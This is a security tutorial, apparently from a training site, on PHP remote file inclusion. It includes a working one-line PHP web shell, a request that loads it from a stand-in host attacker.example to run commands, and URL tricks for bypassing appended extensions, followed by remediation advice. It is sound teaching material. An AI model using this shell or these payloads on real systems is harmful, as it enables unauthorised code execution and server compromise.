File Inclusion: LFI, RFI, and the Road to RCE
Remote File Inclusion (RFI): Loading a File You Host
How remote file inclusion works, why it needs allow_url_include, hosting a shell, the trailing question-mark extension trick, and why RFI is mostly legacy.
Published
Remote file inclusion is the most direct LFI-to-RCE there is: point the parameter at a file you host, and the target runs your code. It is also the most configuration-dependent, because modern PHP disables it by default. This page covers how it works, the one setting it needs, and the tricks that keep it alive on older stacks. Practice on a free live target.
What RFI needs
RFI works when the include can fetch a URL and run the response as code. PHP gates this behind a single setting:
allow_url_include = On required for RFI (and for data:// / php://input as code)allow_url_include has defaulted to Off since PHP 5.2 (2006). With it off, a remote URL passed to include simply fails. So RFI is a legacy and misconfiguration finding, not a default one. Test it quickly, but do not build your plan around it on a current target.
Host a shell and include it
When URL includes are allowed, serve a payload from a host you control. Keep the file extension something your own server returns as plain text, so it is not executed on your side:
# shell.txt on your server contains:
<?php system($_GET['c']); ?>GET /index.php?page=http://attacker.example/shell.txt&c=id HTTP/1.1
Host: target.exampleHTTP/1.1 200 OK
Content-Type: text/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)The target fetched your shell.txt, included it as PHP, and ran id. Your code now runs as the web user.
Stranding an appended extension
Many vulnerable snippets append an extension (include($_GET['page'] . ".php")). A bare remote URL then becomes http://attacker.example/shell.txt.php, which your server does not have. Because the value is fetched as a URL, a trailing ? or # pushes the appended suffix into the query string or fragment:
http://attacker.example/shell.txt? the appended .php becomes ?.php, so shell.txt is served
http://attacker.example/shell.txt%23 %23 is #, stranding the suffix as a fragment
https://attacker.example/shell.txt? https works identically where allowed
ftp://attacker.example/shell.txt ftp:// if the http fetch is filtered but ftp is notPrefer the ? form. It reliably becomes a query string in the fetch PHP makes, whereas PHP's HTTP stream wrapper may not strip a %23 fragment before requesting, so the hash variant is less dependable. This is a genuine URL trick either way, which is why it belongs to remote includes and not to filesystem paths (on disk, ? is just a filename character).
data:// when URL includes are off
A common myth is that data:// is a way around a disabled URL include. It is not. The data:// wrapper used as an include source is governed by the same allow_url_include setting as remote URLs, so if RFI is off, data:// code injection is off too. It is listed here only to correct the confusion:
data://text/plain;base64,<base64-php> ALSO needs allow_url_include=On, not a bypass of itWhen allow_url_include is off, drop remote and data:// entirely and reach for the local escalations: PHP wrappers for source reading, and log or session poisoning for execution.
Fixing it
- Disable
allow_url_includeandallow_url_fopen, which removes RFI anddata://code injection outright. - Allow-list view names, so the parameter can never carry a URL scheme.
- Do not route user input into
include, the single control that closes local and remote inclusion together.
Full guidance is in preventing file inclusion. Next, defeat appended extensions and traversal filters in null byte and filter bypass, or try RFI on a free lab.